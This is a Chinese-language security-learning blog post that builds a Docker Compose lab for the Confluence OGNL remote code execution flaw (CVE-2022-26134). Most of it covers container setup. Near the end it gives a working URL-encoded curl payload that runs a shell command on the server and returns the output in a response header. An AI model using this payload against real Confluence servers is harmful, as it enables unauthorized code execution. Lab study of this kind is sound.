iT邦幫忙

2022 iThome 鐵人賽

DAY 9
1
影片教學

從建立環境、驗證漏洞、感受漏洞來學習資安系列 第 10

Day09 - 透過 Confluence OGNL 漏洞來練習一下達可康頗斯 (Docoker Compose)

  • 分享至 

  • xImage
  •  

Yes

  • 第九天終於迎來RCE類別弱點的最後一個,這個弱點是發生在一個叫做Confluence的套裝商用軟體身上。一樣先送上漏洞資訊給各位參考一下。

  • 漏洞相關資訊

    • 漏洞編號 : CVE-2022-26134
    • CVSS 3.0 分數 : 9.8 CRITICAL
    • 漏洞類型 : RCE(Remote Code Execution)
    • 使用版本資訊
      • Ubuntu: Ubuntu 22.04.1 LTS
      • Confluence : 7.13.6
    • 漏洞先備知識 :
      • 基本HTTP及網站運作概念
      • Docker 基本命令使用
    • 漏洞收穫技能 :
      • Docker Compose 使用
      • OGNL 語法
  • Confluence 是一套企業用的知識管理系統,有點類似維基百科一樣,相當簡單且功能強大。該軟體有使用到 OGNL 函式庫,該函式庫是可以透過表達式語言,去設定或是取得Java物件的屬性,但它似乎還有其他有趣的功能,就是觸發RCE的攻擊。跟之前一樣,我們要先建立一個 Confluence 的環境架構,但這次的環境會稍微複雜一點,參考如下圖 :
    https://ithelp.ithome.com.tw/upload/images/20220924/20148308gaiBFgUgVQ.png

  • 觀察圖上可發現,這次會用到兩個別人預先建立好的容器,所以在我們之前的想像會是要用 docker 指令分別對容器進行建置跟設定,但很快就會發現以下問題 :

    • 相同的動作都要做多次很麻煩
    • 不透過IP的話無法有效率地找到需要的容器
  • 這種時候就必須用到 docker compose 的功能了,它能夠透過單一個 yaml 檔案去建立及管理多個容器,而且也會自動幫忙管理容器的host對應,方便服務之間的查找。在使用 docker compose 之前,我們先來測試普通容器之間的查找關係。

步驟如下 :

  1. docker run -d --name db -e POSTGRES_PASSWORD=password postgres:12.8-alpine
  2. docker run -d -p 8090:8090 -p 5050:5050 --name web vulhub/confluence:7.13.6
  3. docker exec -it web bash
  4. apt update && apt install iputils-ping -y
  5. ping db # 這邊會失敗
  6. exit
  7. docker rm -f web db
  8. docker network create mynet
  9. docker run -d --net mynet --name db -e POSTGRES_PASSWORD=password postgres:12.8-alpine
  10. docker run -d --net mynet -p 8090:8090 -p 5050:5050 --name web vulhub/confluence:7.13.6
  11. 重複步驟 3~5

體會到自己管理容器的辛苦之後,使用 docker compose 的建置步驟參考如下 :

  1. vim docker-compose.yml
  2. 加入建置內容
version: '2'
services:
  web:
    image: vulhub/confluence:7.13.6
    ports:
      - "8090:8090"
      - "5050:5050"
    depends_on:
      - db
  db:
    image: postgres:12.8-alpine
    environment:
      - POSTGRES_PASSWORD=postgres
      - POSTGRES_DB=confluence
  1. docker compose up -d
  2. docker exec -it "容器名稱" bash
  3. apt update && apt install iputils-ping -y
  4. ping db # 這邊會成功

接著就可以連入服務進行設定,步驟如下 :

  1. http://IP:8090
  2. 按下 Get an evaluation license,並登入註冊帳號密碼後取得 license key
  3. 貼上 license key 後前往下一步
  4. 選擇 Standalone
  5. 填入db資訊 (Hostname:db、Port:5432、Database name:confluence、Username:postgres、Password:postgres)
  6. 選擇 Empty Site
  7. 選擇 Manager users and groups within Confluence
  8. 設定 admin 密碼(要記得,下下次還會用到)
  9. 清空 Cookie,進入初始狀態
  10. 使用 payload 進行攻擊,並從 header 觀察回傳結果。 (注意最後的 / 是很重要的,要不然會失敗~~)
curl --head -k "http://IP:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
  1. docker compose stop (停止confluence容器,要不然蠻耗資源的)
  • 這樣子就完成這次confluence的環境建置了,已經建立過三個弱點環境後,第四個是不是就相對簡單多了?那這次環境的建立主要的學習焦點還是在docker compose 的使用上,下次的影片則是要解讀 Apache OGNL的內容以及Java Runtime的特性。

參考資料

  1. Difference between links and depends_on in docker_compose.yml
  2. Brucetg/CVE-2022-26134
  3. docker compose
  4. CVE-2022-26134 Confluence OGNL RCE 漏洞分析

上一篇
Day08 - 今天一天來建立滿滿的大....IP平台 (作業2解答)
下一篇
Day10 - 測試漏洞界的古靈精怪槍,有些要編碼,有些又不用,哭阿!! (作業3)
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言